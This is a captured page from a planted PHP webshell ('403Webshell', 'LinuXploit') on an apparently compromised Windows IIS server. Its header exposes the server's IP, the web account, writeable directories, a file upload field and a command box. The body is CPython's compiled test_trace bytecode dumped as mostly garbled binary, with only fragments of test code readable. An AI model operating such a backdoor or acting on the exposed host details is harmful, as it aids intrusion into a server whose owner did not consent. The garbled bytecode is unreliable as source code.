403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_trace.cpython-315.pyc
R
>lqjZc��]PHs]QHGs]PHs]QHGsGs]QHGsG	s	G
s
]QH,GsG
s
]PH8s]PH<s]QH@Gs]PHHs]QHHGs]QHPGsQsQ	sQ
sQsQsQ
sQsQsQsQsQs Qs!Qs"Qs#QQ\$2s%QQ\OL2s'QQ\OL2s(QQ\OL2s)QQ\OL2s*Q Q!\OL2s+Q"Q#\OL2s,Q$Q%\OL2s-Q&Q'\OL2s.Q(Q)\OL2s/\0Q*6Xc\Ob2P!P!)+�)�dump)�captured_stdout�requires_resource)�TESTFN�rmtree�unlink��assert_python_ok�assert_python_failure)�FunctionType)�Trace)�testmodc�@�UOQ2%cUPPoU!)z8Given a .pyc filename converts it to the appropriate .pyz.pyc)�endswith)�filenames&�$C:\Python315\\Lib\test\test_trace.py�
fix_ext_pyrs#������ � ��C�R�=���O�c��[OO[OO[22]*o[[2U1!)z4The .py file and module name of this file (__file__))�os�path�splitext�basename�__file__r)�modnames r�my_file_and_modnamers:���g�g���r�w�w�/�/��9�:�1�=�G��h���(�(rc�0�UOO!�N)�__code__�co_firstlineno��funcs&r�get_firstlinenor""s���=�=�'�'�'rc� �SoSoV#*oU!r�)�x�y�a�b�cs&&   r�traced_func_linearr*,s��	�A�	�A�	��A��Hrc�B�So[]2FDoV!*
oJ
	U!����range)r%r&r)�is&&  r�traced_func_loopr12s!��	�A�
�1�X��	�����Hrc�J�V*[O]2*!��)r
r!)r%r&s&&r�traced_func_importingr58s���5�7�<�<��?�"�"rc�*�[V2oV*!r�r*)r%r)s& r�traced_func_simple_callerr8;s���1� �A��5�Lrc�B�[U2oU[V2*
oU!r)r8r5)r%�ks& r�traced_func_importing_callerr;?s!��!�!�$�A��	�q�	$�$�A��Hrc#�P �]o[U2FDoV!*w�	J	P!3hr,r.)�numr)r0s&  r�traced_func_generatorr>Ds���	�A�
�3�Z���e���s�$&c�B�]o[]
2FDoV*
oJ
	P!)r)r>)r:r0s  r�traced_func_calling_generatorr@Is��	�A�
"�2�
&��	���'rc��U]*!��r$)r=s&r�traced_doublerrDNs����7�Nrc�
�V1!rr$)�args�kwargss*,r�traced_capturerrHQs
���<�rc�^�]
o[U2Tt,tFDo[U2MJ	ooU!ttoh)�
)r/rD)r:r0�mylists   r� traced_caller_list_comprehensionrLTs.��
�A�).�q��
2��A�n�Q���F�
2��M��3s�*c�F�QoQoUU2Q22oU2P!)c��U!rr$��fs&r�
decorator1�-traced_decorated_function.<locals>.decorator1Zs���rc��QoU!)c��U!rr$rOs&r�
decorator2�Gtraced_decorated_function.<locals>.decorator_fabric.<locals>.decorator2]s���Hrr$�rUs r�decorator_fabric�3traced_decorated_function.<locals>.decorator_fabric\s
��	��rc��P!rr$r$rrr!�'traced_decorated_function.<locals>.func`s��	
rr$)rQrXr!s   r�traced_decorated_functionr\Ys0�������
���
��Frc�T`�\sQs]gsnQsQsQs\Q2s\	Q2s
QsUsP!)�TracedClassc��VmP!r�r')�selfr%s&&r�__init__�TracedClass.__init__hs���rc�*�UOU*!rr`)rar&s&&r�inst_method_linear�TracedClass.inst_method_linearks���v�v��z�rc�J�UOU2oU[V2*!r)rer*)rar%r)s&& r�inst_method_calling�TracedClass.inst_method_callingns#���#�#�A�&���%�a�+�+�+rc��U]*!rBr$)�clsr&s&&r�class_method_linear�TracedClass.class_method_linearr����1�u�rc��U]*!rBr$)r&s&r�static_method_linear� TracedClass.static_method_linearvrnrr`)
�__name__�
__module__�__qualname__�__firstlineno__rbrerh�classmethodrl�staticmethodrp�__static_attributes__�__classdictcell__��
__classdict__s@rr^r^gs<������,��������rr^c�`�\sQs]~snQsQsQs\O\	OOQ2Q6HQ2Q2sQs
\O\	OOQ2Q6HQ2Q	2sQ
sQsQsQ
sUsP!)�TestLineCountsz/White-box testing of line-counting, via runfuncc��UO[O[O22[	]]]]Q5Um[
[2UmP!)r4��count�trace�
countfuncs�countcallers)	�
addCleanup�sys�settrace�gettracer�tracerrr�my_py_filename�ras&r�setUp�TestLineCounts.setUp�s9��������c�l�l�n�5��!�1���K���(��2��rc�L�UOO[]]2oUOU]2-o[	[2o[]]2FDo]V OV4*1$J	UOUOO2OU2P!rB)	r��runfuncr*�assertEqualr"r/r��results�counts)ra�result�expected�firstlinenor0s&    r�test_traced_func_linear�&TestLineCounts.test_traced_func_linear�s������$�$�%7��A�>�������#���%�&8�9���q�!��A�@A�H�)�)�;�+;�<�=��	
������,�,�.�5�5�x�@r�PYTHON_UOPS_OPTIMIZE�0�1Line counts differ when JIT optimizer is disabledc	�|�UOO[]]2[[2oUOU]*1]UOU]*1]UOU]*1]UOU]*1]-oUOUOO
2OU2P!rB)r�r�r1r"r�r�r�r��rar�r�s&  r�test_traced_func_loop�$TestLineCounts.test_traced_func_loop�s���	
�����,�a��3�%�&6�7��
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�	
��	
������,�,�.�5�5�x�@rc�j�UOO[]]2[[2oUOU]*1][[O2]1][[O2]1]-oUOUOO2OU2P!rB)r�r�r5r"r�rr
rr�r�r�r�s&  r�test_traced_func_importing�)TestLineCounts.test_traced_func_importing�s��������1�1�a�8�%�&;�<��
�
 �
 �+��/�2�A�
��(�(�
)�1�-�q�
��(�(�
)�1�-�q�
��	
������,�,�.�5�5�x�@rc
���UOO[2[[2o[[2oUO
U]*1]UO
U]*1]UO
U]*1]
UO
U]*1]UO
U]*1]UO
U]*1]
-oUO
UOO2OU2P!r3)	r�r�r@r"r>r�r�r�r�)ra�firstlineno_calling�firstlineno_genr�s&   r�test_trace_func_generator�(TestLineCounts.test_trace_func_generator�s���	
�����9�:�-�.K�L��)�*?�@��
�
 �
 �"5��"9�:�A�
�
 �
 �"5��"9�:�B�
�
 �
 �"5��"9�:�B�
�
 �
 �/�A�"5�6��
�
 �
 �/�A�"5�6��
�
 �
 �/�A�"5�6��

��	
������,�,�.�5�5�x�@rc	��UOO[2[[2o[[2oUO
U]*1]UO
U]*1]UO
U]*1]UO
U]*1]
-oUO
UOO2OU2P!r3)	r�r�rLr"rDr�r�r�r�)rar��firstlineno_calledr�s&   r�test_trace_list_comprehension�,TestLineCounts.test_trace_list_comprehension�s��������<�=�-�.N�O��,�^�<��
�
 �
 �"5��"9�:�A�
�
 �
 �"5��"9�:�B�
�
 �
 �"5��"9�:�A�
�
 �
 �"4�q�"8�9�2�	
��	
������,�,�.�5�5�x�@rc��UOO[2[[2oUOU]*1]UOU]*1]UOU]*1]UOU]*1]UOU]*1]UOU]*1]UOU]*1]UOU]*1]UOU]	*1]UOU]
*1]UOU]*1]-oUOUOO
2OU2P!r3)r�r�r\r"r�r�r�r�r�s&  r�test_traced_decorated_function�-TestLineCounts.test_traced_decorated_function�s*�������5�6�%�&?�@��
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��"2�3�Q�
�
 �
 �+��"2�3�Q�
��	
������,�,�.�5�5�x�@rc	�"�QFD�o[]]]]Q5o[]2o[V12oUOU]2[	U2oUO
U]*1]-oUO
UO2OU2J�	P!)rer)re)	rr^�getattrr�r"r�r�r�r�)ra�methnamer��
traced_obj�methodr�r�s&      r�test_linear_methods�"TestLineCounts.test_linear_methods�s���0�H���!���J�F�$�R��J��Z�2�F��N�N�6�2�&�)�&�1�K��$�$�k�A�o�6���H�
���V�^�^�-�4�4�h�?�0r�r�r�)rrrsrtru�__doc__r�r��unittest�skipIfr�environ�getr�r�r�r�r�r�rxryrzs@rr}r}~s�����9�3�

A��_�_�R�Z�Z�^�^�$:�;�s�B�H�J�
A�J�
A�
A��_�_�R�Z�Z�^�^�$:�;�s�B�H�J�
A�J�
A�A�A�&@�@rr}c�`�\sQs]�snQsQs\O\OOQ2Q6HQ2Q2sQsUs
P!)�TestRunExecCountsz8A simple sanity test of line-counting, via runctx (exec)c��[[2UmUO[O
[O22P!r)rrr�r�r�r�r�r�s&rr��TestRunExecCounts.setUp�s'��(��2���������c�l�l�n�5rr�r�r�c	�,�[]]]]Q5UmQo[U[Q2oUOO	U[2[
22[[2oUOU]*1]UOU]*1]UOU]*1]UOU]*1]-oUO2FDDoUOUOO2OU*V4*2JF	P!)r4rztraced_func_loop(2, 5)�exec)rr��compiler�runctx�globals�varsr"r1r��keysr�r�r�)ra�coder�r�r:s&    r�test_exec_counts�"TestRunExecCounts.test_exec_counts�s����!�1���K���,���t�X�v�.�������4���D�F�3�%�&6�7��
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�
�
 �
 �+��/�2�A�	
������A����T�[�[�0�0�2�9�9�!�<�h�k�J�!rr�)rrrsrtrur�r�r�r�rr�r�r�rxryrzs@rr�r��sF����B�6��_�_�R�Z�Z�^�^�$:�;�s�B�H�J�K�J�Krr�c�`�\sQsQsnQsQsQsQsQsQs	\
O\\
Q29%c\
O2Q	2Q
2sQsQsUsP!)
�	TestFuncs�z"White-box testing of funcs tracingc���UO[O[O22[	]]]Q5Um[
2Um[O2UmP!)r)r�r�r�)	r�r�r�r�rr�r�filemod�_saved_tracefuncr�s&rr��TestFuncs.setUp
sB��������c�l�l�n�5��!�1��;���*�,��� #�����rc�h�UOd#[OUO2P!P!r)r�r�r�r�s&r�tearDown�TestFuncs.tearDowns%��� � �,��L�L��.�.�/�-rc��UOO[]2UOQ*]UOQ*]-oUO	UOO2OU2P!)r4�r8r7)r�r�r8r�r�r��calledfuncs�rar�s& r�test_simple_caller�TestFuncs.test_simple_callersc�������5�q�9�
�L�L�9�9�1��L�L�2�2�A�
��	
������,�,�.�:�:�H�Erc���UOO[]]]]Q5oUOUQQ]Q]-12UO	[
29^tt^2UOO[]Q5PPP2UO	[
29^tt^2UOO2PPP2P!)%fhKR9h)%fhP!9h)r4)rar!rar!)r!�arg)r4rC)r�r�rHr��assertRaises�	TypeError)ra�ress& r�test_arg_errors�TestFuncs.test_arg_errors s����k�k�!�!�/�1�a�a�a�!�H������v���6�1�'=�>�?�
�
�
�y�
)�
)��K�K���_�!��<�*�
�
�
�y�
)�
)��K�K���!�*�
)�*�
)��
)�
)�
)�s$�"C�"C�C	�C	�C+	�#C+	c��UOO[]2UOQ*]UOQ*]UOQ*]UOQ*][	[
O2QQ1]-oUOUOO2OU2P!)r4r
r!r�r7�r;�r5)
r�r�r;r�rr
rr�r�r�r�s& r�test_loop_caller_importing�$TestFuncs.test_loop_caller_importing(s��������8�!�<�
�L�L�9�9�1��L�L�2�2�A��L�L�<�<�a��L�L�5�5�q�
��(�(�
)�9�f�=�q�
��	
������,�,�.�:�:�H�Err��3pre-existing trace function throws off measurementsc�H�[]2oUOOUO]2UOQ*]UOQ*]UOQ*]-oUOUOO
2OU2P!)�)zTracedClass.inst_method_calling)zTracedClass.inst_method_linearr7)r^r�r�rhr�r�r�r�)ra�objr�s&  r�test_inst_method_calling�"TestFuncs.test_inst_method_calling4s����"�o�������C�3�3�Q�7�
�L�L�?�?���L�L�>�>���L�L�2�2�A�
��
	
������,�,�.�:�:�H�Erc
�p�UOO[2UOQ*]UOQ*]UOQ*]UOQ*]UOQ*]-oUO	UOO2OU2P!)r\)r\)rXrW)rQr )r�r�r\r�r�r�r�r�s& rr��(TestFuncs.test_traced_decorated_functionAs��������5�6�
�L�L�9�9�1��L�L�0�0�!��L�L�?�*�A��L�L�?�*�A��L�L�9�$�a�
��	
������,�,�.�:�:�H�Er)r�r�r�)rrrsrtrur�r�r�r�r�r�r�r��hasattrr�r�r�r�rxryrzs@rr�r�sj����,�/�0�F�"�
F��_�_�W�S�*�-�@�@�#�,�,�.�J�L�	F�L�	F�
F�
Frr�c�`�\sQsQsnQsQs\O\\	Q29%c\	O2Q2Q2sQsUs
P!)�TestCallers�Nz$White-box testing of callers tracingc��UO[O[O22[	]]]Q5Um[
2UmP!)r)r�r�r��r�r�r�r�rr�rr�r�s&rr��TestCallers.setUpPs4��������c�l�l�n�5��!�1�1�=���*�,��rr�r�c��UOO[]2[OO[O2]*Q*QQ1UOQ*1]UOQ*UOQ*1]UOQ*UOQ*1]UOQ*UOQ	*1]UOQ	*[[O2QQ11]-oUOUOO2OU2P!)
r4�.pyr�z
Trace.runfuncr
r!r�r�r7r�)r�r�r;rrrr�rr�rr
r�r��callersr�s& rr��&TestCallers.test_loop_caller_importingUs��	
�����8�!�<��g�g���u�~�~�.�q�1�E�9�7�O�
T���� A�A�
D�EF��l�l�;�;���� 7�7�
:�;<��l�l�>�>���� >�>�
A�BC��l�l�>�>���� :�:�
=�>?��l�l�7�7��G�,�,�-�y�&�A�
C�DE�
��	
������,�,�.�6�6��Ar�r�r�)rrrsrtrur�r�r�r�r�r�r�r�rxryrzs@rr�r�NsH����.�-�
�_�_�W�S�*�-�@�@�#�,�,�.�J�L�B�L�Brr�c�l`�\sQsQsnQsQsQs\1Qks\Q2Q2s	Qs
Q	sQ
sQs
UsP!)�TestCoverage�jc�n�UO[O[O22P!r)r�r�r�r�r�s&rr��TestCoverage.setUpks��������c�l�l�n�5rc�D�[[2[[2P!r)rrrr�s&rr��TestCoverage.tearDownns���v���v�rz�if True:
        import unittest
        from test.test_pprint import QueryTestCase
        loader = unittest.TestLoader()
        tests = loader.loadTestsFromTestCase(QueryTestCase)
        tests(unittest.TestResult())
        c�z�UOU2UO2oUOP	P	[Q5P!)T)�show_missing�summary�coverdir)�runr��
write_resultsr)rar��cmd�rs&&& r�	_coverage�TestCoverage._coverageys+���
�
�3���N�N���	���T�4�&��Ir�cpuc��[O]]Q5o[29^tt^2oUOU2PPP2WO	2oUOQU2UOQU2[O[2oUOQU2UOQU2P!)%fhK�9h)r�r�r�z	pprint.pyzcase.pyzpprint.coverzunittest.case.cover)	r�rrr�getvalue�assertInr�listdirr)rar��stdout�filess&   r�
test_coverage�TestCoverage.test_coverage~s������1�A�.��
�
�
�&��N�N�6�"�����"���
�
�k�6�*��
�
�i��(��
�
�6�"���
�
�n�e�,��
�
�+�U�3��
�s�B:�:C
	�C
	c��[OO[OO[OO[222o[
O[O[OU,[O*]]Q5o[29^tt^2oUOU2PPP2[OO[2%c0[O[2oUOUQ,2P!P!)%fhKj9h)r)�
ignoredirsr�r�z_importlib.cover)rr�normpath�dirnamerr�rr��base_prefix�base_exec_prefixrr�existsrrr�)ra�libpathr�rrs&    r�test_coverage_ignore�!TestCoverage.test_coverage_ignore�s����'�'�"�"�2�7�7�?�?�2�7�7�?�?�8�3L�#M�N��������#�:N�:N�$�)&�(+���)1�89��D��
�
�
�&��N�N�6�"��
�7�7�>�>�&�!�!��J�J�v�&�E����U�%7�$8�9�"��
�s�>D2�2E	�;E	c��[O]]Q5oQoU[O7c[OUQo[	29^tt^2oUOV2PPP2WO
]2UO2-oSFD8oUO2Q*vqxo	[U2[UPP21VY$J:	[O[OU*O2oUOV%2UOVR*Q2P!)%fhK�9h)rrztest.tracedmodules.testmodz<import test.tracedmodules.testmod as t;t.func(0); t.func2();:N�N)r-�d)r�rr��modulesrr�seek�readline�split�float�_fullmodnamerr
r�)
rar�rrr�coverage�line�lines�cov�modules
&         r�test_issue9936�TestCoverage.test_issue9936�s������1�A�.��.���c�k�k�!����G�$�'��
�
�
�&��N�N�6�'�����A���������D�!%����b�!1��E�� %�e��e�C���H�o�>�H����$�$�S�[�[��%9�%B�%B�C���
�
�g�(�����*�H�5��
�s�D2�2E	�;E	c�B�[Q*o[UQ29^tt^2o[--Q]-1U]Q5PPP2UO[U2[
O--U-2oUOUOQ]-2P!)%fhK_9h)z-infile�wb�caller)�protocol)	r�openrr�rr��CoverageResultsr�r�)ra�infilerPr�s&   r�test_coverageresults_update�(TestCoverage.test_coverageresults_update�s|���)�#��
�&�$�
�
�1��"�b�8�Q�-�(�!�a�8� ������'��'�'��B���;��������8�Q�-�8�	 �
�s�B�B	�B	r$)rrrsrtrur�r��DEFAULT_SCRIPTrrrrr+r4rxryrzs@rr�r�jsN����6���N�%3�J�
�u��	4��	4�
:�6�*9�9rr�c�(`�\sQsQsnQsQsUsP!)�Test_Ignore�c	�6�[OOo[OQQ,UQQ2,2oUOUO
QQ22UOUO
QQ22UOUO
QQ22UOUO
UQQQ	2Q
22UOUO
UQQ2Q22UOUO
UQQ	2Q
22P!)
r%zy.z�foo�barzx.pyzxy.py�xyzy.pyr&zbaz.py�bazzz.py�z)rr�joinr��_Ignore�
assertTrue�names�assertFalse)ra�jn�ignores&  r�test_ignored�Test_Ignore.test_ignored�s���
�W�W�\�\������U�|�b���.>�-?�@��������V�S�1�2�������g�t�4�5�������f�c�2�3�������R��u�h�%?��G�H�������b���&7��=�>�������R��x�%8�%�@�Arr$)rrrsrtrurGrxryrzs@rr8r8�s����	B�	Brr8c�B`�\sQsQsnQsQsQsQsQsQs	Qs
UsP!)	�TestCoverageCommandLineOutput��ztmp.pyz	tmp.coverc���[UOQQQ59^tt^2oUO[OQ22PPP2P!)%fhP!9h)�w�iso-8859-15��encodingu�                # coding: iso-8859-15
                x = 'spœm'
                if []:
                    print('unreachable')
            )r1�codefile�write�textwrap�dedent)rarPs& rr��#TestCoverageCommandLineOutput.setUp�sB��
�$�-�-��}�
=�
=��
�G�G�H�O�O�%��
�>�
=�
=�
=�s�&A�A#	�A#	c�\�[UO2[UO2P!r)rrQ�	coverfiler�s&rr��&TestCoverageCommandLineOutput.tearDown�s���t�}�}���t�~�~�rc��[OO[OO[O
22o[OO
UQ2o[U2QO2UO,*o[UvqEoUOUQ2UO[OOU22UO[OOUO22[!UOQQ59^tt^2oUOUO#2Q2PPP2P!)%fhP!9h)ztrace.coverz-m trace --countrrNrOu^       # coding: iso-8859-15
    1: x = 'spœm'
    1: if []:
           print('unreachable')
)rrr�abspathr�rr@rr#rQr	r�rDrrBrWr1�read)ra�tracedir�tracecoverpath�argv�statusr�stderrrPs&       r�%test_cover_files_written_no_highlight�CTestCoverageCommandLineOutput.test_cover_files_written_no_highlight�s����7�7�?�?�2�7�7�?�?�5�>�>�#B�C�������h�
�>���~��!�'�'�)�T�]�]�O�;��!1�4�!8���������%����������7�8���������t�~�~�6�7�
�$�.�.�=�
9�
9�Q����Q�V�V�X�4�
�:�
9�
9�
9�s�=!E(�(E9	�1E9	c��QO2UO,*o[Uvq#oUO[O
O
UO22[UOQQ59^tt^2oUOUO2[OQ22PPP2P!)%fhP!9h)z-m trace --count --missingrNrOu�                       # coding: iso-8859-15
                    1: x = 'spœm'
                    1: if []:
                >>>>>>     print('unreachable')
            )
r#rQr	rBrrrrWr1r�r[rSrT)rar^r_rr`rPs&     r�'test_cover_files_written_with_highlight�ETestCoverageCommandLineOutput.test_cover_files_written_with_highlight�s���+�1�1�3�t�}�}�o�E��!1�4�!8������������t�~�~�6�7�
�$�.�.�=�
9�
9�Q����Q�V�V�X�x���8�(�
�:�
9�
9�
9�s�5C�C	�C	r$)rrrsrtrurQrWr�r�rardrxryrzs@rrJrJ�s(�����H��I����(
�
rrJc�@`�\sQsQsnQsQsQsQsQsQs	Us
P!)�TestCommandLine�c�f�QoSFD&uq#[QQ,UN3CuqEUOV%2J(	P!)�3progname is missing: required with the main options�-mr�))rj�-lz-T)s8cannot specify both --listfuncs and (--trace or --count)z-lc)s>argument -R/--no-report: not allowed with argument -r/--reportz-rR)sLmust specify one of --trace, --count, --report, --listfuncs, or --trackcallsz-g)s-r/--report requires -f/--filez-r)s3--summary can only be used with --count or --reportz-sT)sunrecognized arguments: -yz-y)r
r
)ra�_errors�messagerF�_r`s&     r�
test_failures�TestCommandLine.test_failures�s6��3��&�N�G�.�t�W�D�t�D�J�Q��M�M�'�*�&rc
��[Q*o[OO[2o[	UQQQ59^tt^2oUO[U2UOQ2[QQQUQQ5vqEoUOQ	U2Q
UQUQ0oUOUO2U2PPP2P!)%fhP!9h)
r�rM�utf-8rOza = 1
rkr�rl��PYTHONIOENCODINGsfunctions called:z
filename: z, modulename: z, funcname: <module>)rrrrr1r�rrRr	r
�encode)rar�
modulename�fdr_rr`r�s&       r�test_listfuncs_flag_success�+TestCommandLine.test_listfuncs_flag_successs����E�>���W�W�%�%�f�-�
�
�(�C�'�
2�
2�b��O�O�F�H�-��H�H�Y��%5�d�G�T�8�GN�&P�"�F�F��M�M�.��7�#�H�:�^�J�<�G[�\�H��M�M�(�/�/�+�V�4�3�
2�
2�
2�s�A6C�C	�C	c�~�[[QQQ59^tt^2oUO[[2UO	Q2UO	Q2PPP2[[2vq#o[QQQ[QQ5vq%oUO
UO2U2P!)%fhK[9h)	rMrsrOzimport sys
zprint(type(sys.argv))
rkr�rlrt)r1rr�rrRr	r
�strip)rarxr_�
direct_stdoutr`�trace_stdouts&     r�test_sys_argv_list�"TestCommandLine.test_sys_argv_lists���
�&�#��
0�
0�B��O�O�F�F�+��H�H�^�$��H�H�.�/�1�
)9��(@�%��v�'7��g�t�V�IP�(R�$��f��
�
�m�)�)�+�\�:�1�
0�s�=B,�,B<	�5B<	c�8�[Q0o[Q0o[OO[2o[	UQQQ59^tt^2oUO[U2UO[U2UO[OQ22PPP2[QQQUQQ	5vqVoUO2oUOU]2UOQ
U2UOQUQUQ
0U2P!)%fhKr9h)r�z.coverrMrsrOz�                x = 1
                y = 2

                def f():
                    return x + y

                for i in range(10):
                    f()
            rkr�z-csrtzlines   cov%   module   (path)z
6   100.0%   z   (�))rrrrr1r�rrRrSrTr	�decoder�r
)rar�
coverfilenamerwrxr_rros&       r�test_count_and_summary�&TestCommandLine.test_count_and_summarys����X�S�>��!�(�&�)�
��W�W�%�%�f�-�
�
�(�C�'�
2�
2�b��O�O�F�H�-��O�O�F�M�2��H�H�X�_�_�	&�	�	
�3�-�T�7�E�8�>E�G��������������#��
�
�6��?��
�
�
�j�\��h�Z�q�A�6�J�%3�
2�s�
AD	�	D	�D	c	�H�[QQQQQQQ2[QQQQQ2P!)rkr�rlz--module�timeitz-n�1�not_a_module_zzzrr�s&r�test_run_as_module�"TestCommandLine.test_run_as_module4s'����w��j�(�D�#�N��d�G�T�:�?Q�Rrr$)rrrsrtrurpryrr�r�rxryrzs@rrgrg�s&����+�
5�	;�K�0S�Srrgc�.`�\sQsQsnQsQsQsUsP!)�	TestTrace�9c��UO[O[O22[	]]Q5Um[
2UmP!)r)r�r�r�r�s&rr��TestTrace.setUp:s2��������c�l�l�n�5��!�1�-���*�,��rc��Qo[OoUOUQ5o[U[	22o[29^tt^2oUOOU]]2PPP2WO2O2o[U2oUOQUO]*QUOO0U]*2UOUQU]*Q0U]*2UOUQU]*Q0U]*2UOUQU]*Q0U]*2UOUQU]*Q0U]*2P!)%fhCK9h)z	<unknown>)�co_filenamez --- modulename: z, funcname: �(r�)r*r�replacerr�rr�r�r�
splitlinesr"r
r��co_name)rar�corP�outr�s&     r�test_no_source_file�TestTrace.test_no_source_file?sI����
�
(�
(��
�Z�Z�H�Z�
-����W�Y�'��
�
�
�#��K�K����1�a�(���l�l�n�'�'�)��%�a�(���
�
�)�$�,�,�q�/�):�,�q�z�z�GY�GY�FZ�[�]`�ab�]c�d��
�
��
�!�K�!�O�#4�A�6��A��?��
�
��
�!�K�!�O�#4�A�6��A��?��
�
��
�!�K�!�O�#4�A�6��A��?��
�
��
�!�K�!�O�#4�A�6��A��?��
�
�s�E9�9F
	�F
	r�)rrrsrtrur�r�rxryrzs@rr�r�9s����-�
@�@rr��__main__)2r�picklerr��test.supportrr�test.support.os_helperrrr�test.support.script_helperr	r
rSr��typesrr�r�test.tracedmodulesr
rrr"r*r1r5r8r;r>r@rDrHrLr\�objectr^�TestCaser}r�r�r�r�r8rJrgr�rr�mainr$rr�<module>r�sS��	��
�;�;�;�N������&��)�
(�
�
�#��
�
�
�
���
��&��.l@�X�&�&�l@�^K��)�)�K�<@F��!�!�@F�FB�(�#�#�B�8H9�8�$�$�H9�Z
B�(�#�#�
B�0�H�$5�$5�0�d@S�h�'�'�@S�F@��!�!�@�0�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit